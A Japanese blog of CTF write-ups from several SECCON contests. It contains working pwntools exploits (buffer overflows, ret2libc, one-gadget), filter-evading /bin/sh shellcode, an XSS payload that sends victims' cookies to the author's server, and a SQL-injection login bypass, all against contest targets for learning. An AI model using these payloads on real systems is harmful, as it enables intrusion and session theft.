SECCON Beginners CTF 2019 writeup

SECCON Beginners CTF 2019

yharima で参加.誰もいないかと思ってたら後輩二人が参加してくれたので3人で.
チームは 3415 pts の 11th, 個人は 2363 pts の 19th. なぜ10位以内に入れないのか….

f:id:yharima:20190526151028p:plain

[warmup] Welcome

IRC 繋ぎに行くだけ.
ctf4b{welcome_to_seccon_beginners_ctf}

memo

最初これが Pwn の warmup だったと思うんだけど途中で変わった…?

入力の長さを受け取って,そのあとその入力を受け付けるだけのプログラム.
objdump すると hidden という関数があって EIP 奪ってこいつに飛ばせば勝ちっぽい.
入力は 0x1f と比較しているので 32 以上を入れないとだめっぽい.
動かしていくと長さ調整すると書き込みスタックのアドレスが変動していくのが観測できた(ローカル GDB 環境).

32: 0x7fffffffe430 =>0x7fffffffe400
64: 0x7fffffffe430 => 0x7fffffffe3e0

戻りアドレスが 0x7fffffffe480 においてあるのでそのように長さを調整すれば良いかと思ったが,
増やしていくと遠ざかっていく.負の長さ入れたらどうなるんだろうと思ったら通ってしまい,スタックの位置が調整できた.
あとは長さを GDB で確認して調整しつつ hidden に飛ばしてあげればいい.
ただ,自分は hidden の先頭アドレスだとローカルでは上がるがリモートでは上がらなかったので,適当にずらしたら動いた.スタックでも壊れてたんだろうか?

from pwn import *

context.arch = 'amd64'
con = remote('133.242.68.223', 35285)

con.recvregex('Input size :')
con.sendline('-96')
con.recvregex('Input Content :')

payload = pack(0x4007c1) * 4
con.sendline(payload)
con.recvline()

con.interactive()

上記を実行すると以下のような感じでフラグがとれる.

(CTF) mbp:CTF yuta1024$ python memo.py
[+] Opening connection to 133.242.68.223 on port 35285: Done
[*] Switching to interactive mode
$ ls -l
total 16
-rw-r----- 1 root memo   27 May 19 11:00 flag.txt
-rwxr-x--- 1 root memo 8632 May 22 16:13 memo
$ cat flag.txt
ctf4b{h4ckn3y3d_574ck_b0f}
$
[*] Interrupted
[*] Closed connection to 133.242.68.223 port 35285

[warmup] Seccompare

動かすと flag を引数にとって動かすらしい.
objdump してみると以下のように露骨にフラグっぽいものが.

  400630:    c6 45 d0 63             mov    BYTE PTR [rbp-0x30],0x63
  400634:   c6 45 d1 74             mov    BYTE PTR [rbp-0x2f],0x74
(snip)
  40069c:   c6 45 eb 7d             mov    BYTE PTR [rbp-0x15],0x7d
  4006a0:   c6 45 ec 00             mov    BYTE PTR [rbp-0x14],0x0

以下のワンラインナーで適当に処理した.

$ objdump -M intel -d seccompare  | grep "mov    BYTE PTR \[rbp-" | awk -F ',' '{print $2}' | xargs -I% perl -e 'print chr(%)'
ctf4b{5tr1ngs_1s_n0t_en0ugh}

[warmup] shellcoder

シェルコードを食わして実行してくれるプログラム.
ただし,制限として "b", "i", "n", "s", "h" が禁止でペイロード長は 0x28 まで.
禁止文字列は基本シェルコードの "//bin/sh" を push するところが問題になるだけなのでそこを4で割ったものを push して後続で調整してあげる方針に(2で割ると偶然禁止文字列にあたってしまうため).
以下のようなシェルコードを書いて動作を確認.

        .intel_syntax noprefix
        .globl _start
_start:
        xor rdx, rdx
        push rdx
        mov rax, 0x1a1ccbcbdb9a588b
        shl rax, 0x02
        or rax, 0x0f
        push rax
        mov rdi, rsp
        push rdx
        push rdi
        mov rsi, rsp
        lea rax, [rdx+59]
        syscall

4倍するより2bit 左 shift するほうが命令列が少ない.末尾は 0xf なので add してもよかったがこれも節約のため 0x0f と or することにした.
これをコンパイルして16進数にしたら,あとはサーバに投げれば以下のようにフラグが取れる.

from pwn import *

context.arch = 'amd64'
con = remote('153.120.129.186', 20000)

shellcode = "\x48\x31\xd2\x52\x48\xb8\x8b\x58\x9a\xdb\xcb\xcb\x1c\x1a\x48\xc1\xe0\x02\x48\x83\xc8\x0f\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05"

con.recvline()
con.sendline(shellcode)

con.interactive()

実行結果は以下.

(CTF) mbp:CTF yuta1024$ python shellcoder.py
[+] Opening connection to 153.120.129.186 on port 20000: Done
[*] Switching to interactive mode
$ ls
flag.txt
shellcoder
$ cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

Sliding puzzle

スライドパズルを解くだけのゲーム.
Python でこういうの書くの苦手なので solver は C++ で書いて通信部分だけ Python というキモい構成.
久々に C++ 書いて実装力の低下を感じた.30分ちょっとかかった気がする.

#include <iostream>
#include <fstream>
#include <vector>
#include <queue>
#include <set>
using namespace std;

const int SIZE = 3;
const int dx[] = {0, 1, 0, -1};
const int dy[] = {-1, 0, 1, 0};
const int dm[] = {0, 1, 2, 3};

class State {
public:
 int pos;
 vector<vector<int> > p;
 vector<int> move;

 State(int pos, vector<vector<int> > p, vector<int> move) {
   this->pos = pos;
   this->p = p;
   this->move = move;
 }
};

bool validate(const vector<vector<int> >& p) {
  int prev = -1;
  for (int i = 0; i < SIZE; ++i) {
    for (int j = 0; j < SIZE; ++j) {
      if (prev > p[i][j]) {
        return false;
      }
      prev = p[i][j];
    }
  }
  return true;
}

vector<int> solve(const vector<vector<int> >& p, int pos) {
  queue<State> q;
  q.push(State(pos, p, vector<int>()));

  set<vector<vector<int> > > visited;
  while (!q.empty()) {
    const State s = q.front();
    q.pop();
    visited.insert(s.p);
    if (validate(s.p)) {
      return s.move;
    }

    for (int d = 0; d < 4; ++d) {
      int xx = s.pos % SIZE + dx[d];
      int yy = s.pos / SIZE + dy[d];
      if (xx < 0 || xx >= SIZE || yy < 0 || yy >= SIZE) {
    continue;
      }
      
      vector<vector<int> > pp = s.p;
      swap(pp[s.pos / SIZE][s.pos % SIZE], pp[yy][xx]);
      if (visited.find(pp) == visited.end()) {
        vector<int> mm = s.move;
    mm.push_back(dm[d]);
    int new_pos = yy * SIZE + xx;
    q.push(State(new_pos, pp, mm));
      }
    }
  }
}

int main() {
  int pos = -1;
  vector<vector<int> > p(SIZE, vector<int>(SIZE));
  ifstream ifs("in.txt");
  cin.rdbuf(ifs.rdbuf());
  for (int i = 0; i < SIZE; ++i) {
    for (int j = 0; j < SIZE; ++j) {
      cin >> p[i][j];
      if (p[i][j] == 0) {
     pos = i * SIZE + j;
      }
    }
  }

  vector<int> ans = solve(p, pos);
  for (int i = 0; i < ans.size(); ++i) {
    cout << ans[i] << " ";
  }
  cout << endl;
  return 0;
}

これをコンパイルして,以下の Python プログラムで処理する.

from pwn import *
import subprocess
import sys

con = remote('133.242.50.201', 24912)

for i in range(1000):
    print con.recvline()
    l1 = con.recvline().split(' ')
    print l1
    l2 = con.recvline().split(' ')
    print l2
    l3 = con.recvline().split(' ')
    print l3
    print con.recvline()
    print con.recvline()
    p = [
        l1[1], l1[3], l1[5],
        l2[1], l2[3], l2[5],
        l3[1], l3[3], l3[5],
    ]
    print p
    with open('./in.txt', mode='w') as f:
        f.write(' '.join(p))
    res = subprocess.check_output("./a.out")
    con.sendline(','.join(res.strip().split(' ')))

何問あるかわからんかったので適当に 1000. 100 だとだめだった気がする. これを実行するとフラグが取れる.
ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}

Dump

ダウンロードして file してみると pcap であることがわかる.
Wireshark で開くと HTTP 通信がある.どうやら webshell が置いてあってフラグを引っこ抜いてるらしい.
hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/flag のリクエストの応答を抜いてくればよさそう.
ただし,8進数に変換されているので適当にプログラムを書いてゴニョゴニョしてバイナリとして書き出す.
なにかいい方法があるんだろうけど,よくわからんかったので力技でゴミスクリプト書いた(恥ずかしいので載せない).
結局は zip ファイルなので解凍すると jpeg 画像がでてきてその中にフラグが書いてある.
ctf4b{hexdump_is_very_useful

Leakage

パッと見て angr かけたらいけそうと思って以下のどっかで書いた(Google CTF のどれかで angr のサンプルにあったはず)コードを流用して終わり.

import angr
import claripy

proj = angr.Project('./leakage', load_options={"auto_load_libs": False})

input_size = 0x22 # 4005ff
argv1 = claripy.BVS("argv1", input_size * 8)

initial_state = proj.factory.entry_state(args=["./leakage", argv1], add_options={angr.options.LAZY_SOLVES})
initial_state.libc.buf_symbolic_bytes=input_size + 1

for byte in argv1.chop(8):
  initial_state.add_constraints(byte != '\x00') # null
  initial_state.add_constraints(byte >= ' ') # '\x20'
  initial_state.add_constraints(byte <= '~') # '\x7e'

sm = proj.factory.simgr(initial_state)
sm.explore(find=0x4006ae, avoid=0x4006bc)
found = sm.found[0]
solution = found.se.eval(argv1, cast_to=str)
solution = solution[:solution.find("}")+1]
print solution

適当に待ってるとフラグが出る.
ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Linear Operation

これも angr に流すだけのゲームだった.以下のサイトを参考に変更しないといけないところだけ変えた.

angrでシンボリック実行をやってみる - ももいろテクノロジー

import angr

p = angr.Project('./linear_operation', load_options={'auto_load_libs': False})

addr_main = 0x40cee1
addr_succeeded = 0x40cf78
addr_failed = 0x40cf86
print "main = %x" % addr_main
print "succeeded = %x" % addr_succeeded
print "failed = %x" % addr_failed

initial_state = p.factory.blank_state(addr=addr_main)
initial_path = p.factory.path(initial_state)
pg = p.factory.path_group(initial_path)
e = pg.explore(find=(addr_succeeded,), avoid=(addr_failed,))

if len(e.found) > 0:
    print 'Dump stdin at succeeded():'
    s = e.found[0].state
    print "%r" % s.posix.dumps(0)

これもしばらく待ってるとフラグが出る. ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

OneLine

今回一番苦労した問題.もう二度と one-gadget のことは忘れない.

スタック問題ではなく heap が 40 byte 確保されそこに読み書きしている.
そしてなぜかその heap の末尾にリンクされた libc の write のアドレスが書き込まれている.
実行してみるとわかるが,1回目の入力ときに A だけとか入力するとなにか怪しい文字列が表示される.

You can input text here!
>> A
A
����Once more again!

まず A と入力して write のアドレスを拾って,付属されている libc の write の offset を確認して libc base アドレスをリークする.
これで2回目は 32 byte 書き込んだあと,特定のアドレスを書き込むことで libc 内の任意の命令を呼び出せるようになるので,もう勝ったな….という気持ちになってから約5時間溶かしました.
迷走した内容は libc 内の system を呼べばいいが rdi が 1 固定で ROP gadget つんでなんとかするのか,でもスタックがががが,みたいな泥沼です.
結局途中で Linear Operation なども見つつ調べていたら偶然 one-gadget なるものを知った. one-gadget は libc 内にあってその命令に飛ばすとシェルがあがる一連の gadget 列らしい.なんだその便利なものは….
ということで以下を使って付属の libc を探索してみた.

GitHub - david942j/one_gadget: The best tool for finding one gadget RCE in libc.so.6

結果は以下のような感じ.

$ one_gadget ./libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

制限があるが, 2つ目は NULL になりそうだなあとおもって採用したらいけた.

from pwn import *

context.arch = 'amd64'

con = remote('153.120.129.186', 10000)
write_offset = 0x110140
system_offset = 0x04f440

con.recvregex('>> ')
con.sendline('A')
msg = con.recvregex('>> ')
libc_base_addr = unpack(msg[32:40]) - write_offset
print "[*] libc_base_addr = 0x%x" % unpack(msg[32:40])

payload = 'A' * 32
payload += pack(libc_base_addr + 0x4f322)  # one gadget
con.sendline(payload)

con.interactive()

実行すると以下のようにフラグをとれる.

(CTF) mbp:CTF yuta1024$ python oneline.py
[+] Opening connection to 153.120.129.186 on port 10000: Done
[*] libc_base_addr = 0x7f91c347e140
[*] Switching to interactive mode
$ ls -l
total 16
-rw-r----- 1 root oneline   34 May 22 15:59 flag.txt
-rwxr-x--- 1 root oneline 8624 May 22 15:59 oneline
$ cat flag.txt
ctf4b{0v3rwr!t3_Func7!on_p0int3r}

Himitsu

後輩がやってて,ちょっと見てたんだけど Pwn で時間溶かしててあまりみれてなかった問題.
最終的に寝てるときに解法が降ってきてそのとおりにやったら解けた.

[#記事ID#] みたいにやると他の記事を読み込める.でもその記事がすでに <script> とか含んでると死ぬ(正確には < とかだけど).
後輩が同時にやったら回避できそうだけど同じタイトルだとエラーになるから無理,みたいな話をしていた.
先に未来の記事 ID を投稿しておいて,その時間になったらスクリプト仕込んだ記事を投稿すると,でクリアできる.
記事 ID 自体は単純に以下のようなロジックで生成されている(タイムゾーンは Asia/Tokyo になってるので注意).

$created_at = date("Y/m/d H:i");
$article_key = md5($username . $created_at . $title)

user は同じなので分までの時間とタイトルさえわかれば予測可能.
以下のような PHP スクリプトを書いて先に未来の記事 ID を予測して投稿する.
(snip になってるのは適当に自身のサーバアドレスとかいれてください)

<?php

date_default_timezone_set("Asia/Tokyo");

$username = "foofoo";
$title = "<script>location.href = 'http://<snip>/?' + document.cookie;</script>";

$created_at = date("2019/05/26 04:37");
$article_key = md5($username . $created_at . $title);

var_dump($article_key);

該当時間になったら(上記の場合だと 4:37 になったら)以下の記事を投稿する.

<script>location.href = 'http://<snip>/?' + document.cookie;</script>

するとサーバに以下のようなリクエストがきて admin の セッション ID を抜ける.

xxx.xxx.xxx.xxx - - [25/May/2019:19:37:20 +0000] "GET /?PHPSESSID=029711d08a7b6b3254b4028959f25d5d HTTP/1.1" 200 3520 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/74.0.3729.157 Safari/537.36" "-"

あとはこのセッション ID をセットして開くとフラグが書かれた記事がみれる.
f:id:yharima:20190526155327p:plain

まとめ

それなりに解けたが,10位以内に入りたかったなあ….Pwn も全部解きたかったなあ…. いろいろ勉強が足りないところがわかったので,頑張っていきたい.あんまり時間ないけど….

f:id:yharima:20190526151033p:plain

追記1

使ったスクリプトgithub に上げるようにした.

github.com

追記2

チームメンバーの writeup を貼っておきます.

kent056-n.hatenablog.com

SECCON 令和CTF writeup

SECCON 令和CTF writeup

個人参加限定なので個人で.510 pts で12位でした.

フラグ例は?

warmup で入れるだけ.
SECCON{reiwa}

bREInWAck

brainf*ck なのは明らか.
それぞれの文字をどれに置き換えるかを全通り試す?と考えるも,文字頻度から推測できそう.
まず . だろう.出力的にラストだし.あと[] っぽい,形的にも.
あとは だけど は開幕現れてるので > っぽいし, はそのあと連続してるので + っぽい.
この法則でいくと < だし - だとエスパーして置換して適当なインタプリンタへ Go.

>++++++++++++++++[>+
++++>++++>+++++++>++
++++>++<<<<<-]>+++.>
+++++.--..<----.-.>>
+++++++++++.>++.<<<+
+++.>++.++++.>>+++++
+++++++.<<<+++++++++
++++.--------.>-----
---.>>.-----.------.
>+.<<++.>>>+++++++++
+.

エスパー成功した. SECCON{bREIn_WAnic!}

零は?

よくある方程式を解く問題.後輩から承諾 CTF で送りつけらたことがあってサクッとコードを書いた.
方程式は sympy で解く.ただそもそも ? = 0 のケースがあって死ぬっぽくそこは例外処理した.
(末尾のやるきない print は何行くるかわからなかったので適当)

from pwn import *
from sympy import *

x = Symbol('x')

con = remote('zerois-o-reiwa.seccon.jp', 23615)

for i in range(100):
    con.recvline()
    expr = con.recvline().replace("?", "x")
    print(i, expr)
    tmp = solve(Eq(eval(expr[2:-1]),0))
    if len(tmp) == 0:
        ans = 0
    else:
        ans = tmp[0]
    con.sendline(str(ans))

print con.recvline()
print con.recvline()
print con.recvline()
print con.recvline()
print con.recvline()
print con.recvline()

100 問解けば良い素直(後輩のは Stage 2 があった).
SECCON{REIWA_is_not_ZERO_IS}

元号発表

PDF 開くと QR が隠れてて読めない. LibraOffice で開いて上に重なっているやつをどかす.
そのまま読もうとするが読めない. 令和 の形で抜かれてる部分がたりなさそう.
復元か?とおもって画像ひっぱったらなんか裏に 令和 の形で抜かれた QR の部分コードが.
フロントにもってきて,でかい QR コードの 令和 の形で抜かれたところに移動して位置を微調整しながら以下のアプリで読んだ.

‎「QRコードリーダー for iPhone」をApp Storeで

SECCON{overlay_overlap_overera}

和暦の流れ

バリナリ読んでみると 0x804878f あたりから入力された文字を1文字づつ cmp していることがわかる.
ざっと眺めてみると SHOWA をベースになんかゴニョゴニョして比較してる.入力は5文字.
適当な文字を入れて cmp あたりに BP 貼ってレジスタみてると1文字目は R であるらしい.
REIWA じゃないんか…と思ったけど違う.3文字目くらいまで適当に入れてあててみると RAY であることがわかった.
これってもしかして REIWA をそれっぽく読める感じのものを入れればいいのか…?とおもって RAYWA を入れると正解.
次が Old era らしいが,どうせ HEYSAY とかそういう感じだろうと予想して入れると通った.
SECCON{M-T-S-H-R}

reiwaVote

Web だし, SQLi とかじゃろ…と思っていろいろやるもうまくいかない.
登録時に ' を入れてみるとなんかログイン時にバグることがわかった.どうも syntax error でパスワードの MD5 が出ているみたい.
''' とかしてもだめ.登録されているユーザチェックが走るっぽくまず登録されていることが前提.
とはいえ,ログイン時のパスワードのハッシュ値なんか見えてもなんの意味もない.
ということはこれは登録時になんらかの SQLi ぶっこめば,別ユーザでログインできるみたいななにかなのではと予想する.
適当にユーザ名に誰でもログインできそうな SQLi ぶっこんでみるかーと思い, ' OR TRUE -- で登録.
その ID でログインしているみると見事 shinzo になれた.令和に投票して結果をみると1位になった.スーパーユーザーかなにか? あとは投票を閉め切れば以下のフラグが出た.歴史を守った!
SECCON{e32afd2cf7b98e41cf70fed}

まとめ

なんか意外と調子よく解けて良かった.
平成最後かつ令和最初の CTF でなかなか良かったので,新元号時代も頑張っていきたい.

f:id:yharima:20190501023029p:plain

SECCON CTF 2018 国内決勝 writeup

SECCON CTF 2018 国内決勝 writeup

yharima チームで参加. 1141 pts で 7位でした.
はじめての国内決勝だったので緊張しまくりでしたが,結構頑張れたと思いたい. f:id:yharima:20181224001249j:plain

松島

ポーカーをする問題で,フルハウス以上を出すと 100pts, フォーカード以上を出すと 300?400?pts もらえる.
フォーカード以上出すと,デフェンスキーワードも入れれるようになる.

開幕問題が空いてなくてやっていなかったが,空いてからはわりかしすぐに着手しはじめた.
問題のバイナリ見てたら,メンバーがもうフルハウス出た,とかいっていて笑っていた.
解析していくと結局は rand 叩いていて seed は time に依存しているっぽいことがわかった.
time を hook して未来予測していけばいいのか,と思ったがめんどくさそう.
よくよく考えるとローカルの時間変えて実行すればいいのでは,と思い調べてみると date コマンドでできるっぽいことがわかった.
一度適当にプレイしてみて,その時間のカードとローカルでプレイした時間に差し替えたものとを比較してみると完全に一致した.

$ sudo date -s "12/23 03:38:42 2018" && ./generate_random_hands
Sun Dec 23 03:38:42 UTC 2018
{"game_id":(null),"deck":[19,28,18,37,22,24,42,23,44,5],"max_score":3195}

というわけで,この方法でいけると思い以下のスクリプトを書いて判定していった(shell + node という謎の組み合わせ).

$ cat a.js
const arg = process.argv[2];
const s = arg.indexOf('[');
const e = arg.indexOf(']');

x = eval(arg.substring(s, e+1))
ans = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
x.forEach((e) => {
    ans[Math.floor(e/4)] = ans[Math.floor(e/4)] + 1;
});

ans.forEach((e, i) => {
    if (e == 4) {
        console.log("OK:" + i);
    }
});
$ cat poker.sh
#/bin/sh

for m in {20..59}; do
    for s in {0..59}; do
        t="12/23 04:${m}:${s} 2018"
        echo $t
        sudo date -s "${t}" >/dev/null && ./generate_random_hands | xargs node a.js
    done
done

ただ,なぜかフォーカードが出てもフルハウスのときのフラグしかでなくて,うーんうーん言っていたら,メンバーに聞いてこいと言われたのでおとなしく運営に聞きに行った.
説明が悪かったのかうまく伝わらなかったけどフォーカード出してる画面をみせると,納得してもらえて調べてもらうことになった.
結果,カードを変えてフォーカードより強くなるケースがあるとフォーカードでも駄目,ということでアナウンス + ルール追記されること.
max_score の値によってどうこうみたいな話だったが,解析する時間よりフォーカード片っ端から入れたほうが早そうと思ってそうした.)
マジかーという気持ちになりながらスクリプト叩きまくって最終的に以下の時間の結果でフラグを得ることができた.

$ sudo date -s "12/23 04:38:0 2018" >/dev/null && ./generate_random_hands
{"game_id":(null),"deck":[2,47,46,16,51,45,0,44,39,48],"max_score":23}

天橋立

任意の html ページを上げ, GET の parameter によって alert('XSS') が発火すれば良い,みたいな問題(説明へたですみません).

どうも40分で問題コンセプトを破壊してしまったようで,罪悪感があり申し訳ない気持ちになりました.なんかすみません.

最初,全然意味がわからなくてチームメンバーに詳しく教えてもらってなんとか理解した.
jjencode 的なことすればいいかと思ったけど,バイト数制限もあって厳しいなーと思った次のタイミングで,
SHA256 前の値を parameter にとって,それがハードコードしてある SHA-256 と一致すれば alert('XSS') が発火 するようにすればいいのでは?と思い至る.
適当に SHA-256 の実装をもってきて送りつけると全然解かれない(当たり前).
ただ,問題をよく理解してなくて title にデフェンスキーワード入れないとだめだったのに test とかしていてディフェンスポイントをかなり無駄にしていたっぽい.
気がつけばハッシュ値が変えただけのまったく同じ実装がアップロードされはじめて,これはもったいないことをしてしまったと頭を抱えていました. 以下,うちのチームの答え. f:id:yharima:20181223224302p:plain

おまけ

最後のほうにやることがなくなっていくつか問題をみていると Team Enu の問題が SHA-256 じゃなくて解けそうだったのと,
その時点でうちのチームより1つ上だったので,頑張って剥がしてみようと思い解析をはじめた.

わりと適当な感じで解析を進めると k で parameter を分割して前の部分はそのまま,後ろの部分は base64 で encode されたものを decode してから利用する.
あとはなんか色々な前処理をしたあと xor してペイロードを組み立てて eval して発火させる,という仕組み.
かなり辛い感じで色々ミスったんですが,頑張って解析して最終的に以下のペイロードをぶちこむことで撃墜できた(? はいらなかった).

aaaaaaaaaaaakcdD9bDbxohN9PooO

f:id:yharima:20181223224824p:plain

本来の問題のコンセプトはこういうことで,非常に面白かっただけに SHA-256 ゲーにしてしまった自分がちょっとアレだなという気持ちに….
なお Team Enu の解いた5分後くらいには SHA-256 の問題になってて「はい」ってなりました(笑).
(頑張ったので,この思い Team Enu の人に届くといいな.)

撃墜したらその問題でゲットしてたデフェンスポイントがもらえる仕組みとかだったら嬉しかったのかもしれない.
とはいえ SHA-256 問題がアレなのでそこをどうにかしないと厳しいのですが….

宮島

出された問題を満たす関数を指定バイト数以内のアセンブラで書く問題.いわゆるアセンブラゴルフ.

いくつか手を出していたが, dodododo が強すぎてまじで無理ゲーだ…となっていました.
基本的にメンバーが解いてくれていたので自分はあんまり手を出していません.
アセンブラ短歌の本買って出直します.

懇親会(追記)

お風呂に入る気持ちが強くて書き忘れていた.

社会性がないので他チームと交流できず,メンバーと話していたら insecure チームの方々が話かけてきてくれて色々話せた.ありがとうございます.
色々問題について話せたりできた良かったです!またどこかでお会いできたらよろしくおねがいします.

まとめ

初の国内決勝にでれてうれしかったです. yharima チームとしても,個人としても一つの区切りを迎えれたのかなと思う. まだまだ精進しないと駄目ですね….特にバイナリ.

色々と思うところもありますが,自分は SECCON 国内決勝に出ることを1つの目標として頑張ってきたので,来年以降も開催されることを願っております.
なくなってしまうと,そういうモチベーションを失ってしまう人が自分以外にもいるかもしれませんので.

運営のみなさま,ありがとうございました & お疲れ様でした.そしてなんかごめんなさい.

他のメンバーの writeup

qiita.com

SECCON CTF 2018 QUALS writeup

SECCON CTF 2018 QUALS writeup

yharima チームで参加.2535 pts で 28th でした.過去最高順位.
もしかしたら国内予選もワンちゃんあるのかもしれない…?

今回から後輩2名が参加して,6人体制だった.

Classic Pwn

よくあるスタックの BOF があり, EIP を奪って libc をリークしてシェルを立ち上げる問題.
何故かチームの誰も解いていなかった & 一応 pwn 担当なので自分が解いた.

ひとまず A とかで埋め尽くすと EIP がとれることは確認.
また puts@plt などもあるので, GOT のアドレスもわかるので libc の base addr も計算できる.
また pop rdi の gadget もあるので,1回目は pop rdi => puts@got => puts@plt として libc のアドレスをリークさせる.
リークさせたあと,そのアドレスを使って system 関数のアドレスを計算する必要がある.
よくある手法だと stack piviot して bss などに任意のペイロード流して実行される,的な感じだけど,
今回は別に main に飛ばしてもっかい同じことをやれば良い.
なので,1回目は pop rdi => puts@got => puts@plt => main として,
2回目は pop rdi => /bin/sh addr => system とすれば良い.

(CTF) mbp:CTF yuta1024$ python classic_pwn.py
[+] Opening connection to classic.pwn.seccon.jp on port 17354: Done
[-] libc_base_addr = 0x7f1366771000
[*] Switching to interactive mode
Have a nice pwn!!
$ ls -l
total 16
-rwxr-x--- 1 root classic 8872 Oct 23 02:37 classic
-rw-r----- 1 root classic   44 Oct 23 02:37 flag.txt
$ cat flag.txt
SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}
from pwn import *

context.arch = 'amd64'
con = remote('classic.pwn.seccon.jp', 17354)

con.recvline()
con.recvregex('Local Buffer >> ')

payload = 'A' * 72
payload += pack(0x00400753)  # pop rdi
payload += pack(0x00601018)  # puts@got
payload += pack(0x00400520)  # puts@plt
payload += pack(0x004006a9)  # main

con.sendline(payload)
con.recvline()
msg = con.recvline().strip()
libc_base_addr = unpack(msg + '\x00' * 2) - 0x6f690
print "[-] libc_base_addr = 0x%x" % libc_base_addr

con.recvline()
con.recvregex('Local Buffer >> ')

payload = 'A' * 72
payload += pack(0x00400753)  # pop rdi
payload += pack(libc_base_addr + 0x18cd57)  # /bin/sh
payload += pack(libc_base_addr + 0x45390)  # system

con.sendline(payload)
con.interactive()

Boguscrypt

実行してみるとどうも gethostbyaddr に失敗して終了してしまう.
バイナリを読んでみると,以下のように 0x200007f を INET_AF で解決しようとしている.

   0x080486b9 <+60>:    mov    DWORD PTR [esp+0x10],0x200007f
   0x080486c1 <+68>:    mov    DWORD PTR [esp+0x8],0x2
   0x080486c9 <+76>:    mov    DWORD PTR [esp+0x4],0x4
   0x080486d1 <+84>:    lea    eax,[esp+0x10]
   0x080486d5 <+88>:    mov    DWORD PTR [esp],eax
   0x080486d8 <+91>:    call   0x80484c0 <gethostbyaddr@plt>

途中まで読み間違えていたが,これは 127.0.0.2 の逆引きをしている.
当然 127.0.02 なんで引けないので,ひとまず localhost がかえるように /etc/hosts に追記して実行すると,
うまく動作して flag.txt が吐かれる.しかしぐちゃぐちゃになってて何かおかしい.
キーを求められるのでそこかと思ったが,異なるキーをいれても結果は同じになった.
ということは, 127.0.0.2 の結果によるものだと思い,同封されている pcap を読む.
127.0.0.2 の解決をしているパケットがあり, cur10us4ndl0ngh0stn4m3 らしいので,これを /etc/hosts に書いて実行するとフラグとなる.
SECCON{This flag is encoded by bogus routine}

History

なぜか解かれていなかったのでサクっとやった.
降ってきたファイルを file するとただの data だったので hexdump する.

$ hexdump -C J | head -10
00000000  60 00 00 00 02 00 00 00  55 ed 00 00 00 00 23 00  |`.......U.....#.|
00000010  61 08 00 00 00 00 01 00  d0 73 3f 01 00 00 00 00  |a........s?.....|
00000020  a4 df f6 d3 62 49 d1 01  00 01 00 00 00 00 00 00  |....bI..........|
00000030  00 00 00 00 20 00 00 00  22 00 3c 00 6e 00 67 00  |.... ...".<.n.g.|
00000040  65 00 6e 00 5f 00 73 00  65 00 72 00 76 00 69 00  |e.n._.s.e.r.v.i.|
00000050  63 00 65 00 2e 00 6c 00  6f 00 63 00 6b 00 00 00  |c.e...l.o.c.k...|
00000060  60 00 00 00 02 00 00 00  a7 56 00 00 00 00 01 00  |`........V......|
00000070  61 08 00 00 00 00 01 00  30 74 3f 01 00 00 00 00  |a.......0t?.....|
00000080  a4 df f6 d3 62 49 d1 01  02 00 00 00 00 00 00 00  |....bI..........|
00000090  00 00 00 00 20 00 00 00  20 00 3c 00 6e 00 67 00  |.... ... .<.n.g.|

ngen_service なる怪しそうな文字列があるのでググると以下の volatility のプラグインが見つかる.
volatility/usnparser at master · tomspencer/volatility · GitHub

これっぽいので,使い方をしらべて実行すると大量にでる.

$ python vol.py --profile Win7SP1x64 -f ../../J usnparser --output=csv -CS > out-j.txt

なんか RENAME したやつが怪しいという話だったので csv に吐き出したファイルからそのあたりをawk/ grep すると,

"SEC.txt" RENAME_OLD_NAME
"CON{.txt" RENAME_NEW_NAME
"CON{.txt" RENAME_NEW_NAME & CLOSE
"CON{.txt" RENAME_OLD_NAME
"F0r.txt" RENAME_NEW_NAME
"F0r.txt" RENAME_NEW_NAME & CLOSE
"WmiApRpl_new.h" RENAME_OLD_NAME
"WmiApRpl.h" RENAME_NEW_NAME
"WmiApRpl.h" RENAME_NEW_NAME & CLOSE
"WmiApRpl_new.ini" RENAME_OLD_NAME
"WmiApRpl.ini" RENAME_NEW_NAME
"WmiApRpl.ini" RENAME_NEW_NAME & CLOSE
"F0r.txt" RENAME_OLD_NAME
"ensic.txt" RENAME_NEW_NAME
"ensic.txt" RENAME_NEW_NAME & CLOSE
"ensic.txt" RENAME_OLD_NAME
"s.txt" RENAME_NEW_NAME
"s.txt" RENAME_NEW_NAME & CLOSE
"s.txt" RENAME_OLD_NAME
"_usnjrnl.txt" RENAME_NEW_NAME
"_usnjrnl.txt" RENAME_NEW_NAME & CLOSE
"_usnjrnl.txt" RENAME_OLD_NAME
"2018}.txt" RENAME_NEW_NAME
"2018}.txt" RENAME_NEW_NAME & CLOSE

とフラグっぽいものが出てきた.同じファイルの名前が変化しているよ思われるのでそのように awk/grepすると,

0xecfaL "SEC.txt" RENAME_OLD_NAME
0xecfaL "CON{.txt" RENAME_NEW_NAME
0xecfaL "CON{.txt" RENAME_NEW_NAME & CLOSE
0xecfaL "CON{.txt" RENAME_OLD_NAME
0xecfaL "F0r.txt" RENAME_NEW_NAME
0xecfaL "F0r.txt" RENAME_NEW_NAME & CLOSE
0xecfaL "F0r.txt" RENAME_OLD_NAME
0xecfaL "ensic.txt" RENAME_NEW_NAME
0xecfaL "ensic.txt" RENAME_NEW_NAME & CLOSE
0xecfaL "ensic.txt" RENAME_OLD_NAME
0xecfaL "s.txt" RENAME_NEW_NAME
0xecfaL "s.txt" RENAME_NEW_NAME & CLOSE
0xecfaL "s.txt" RENAME_OLD_NAME
0xecfaL "_usnjrnl.txt" RENAME_NEW_NAME
0xecfaL "_usnjrnl.txt" RENAME_NEW_NAME & CLOSE
0xecfaL "_usnjrnl.txt" RENAME_OLD_NAME
0xecfaL "2018}.txt" RENAME_NEW_NAME
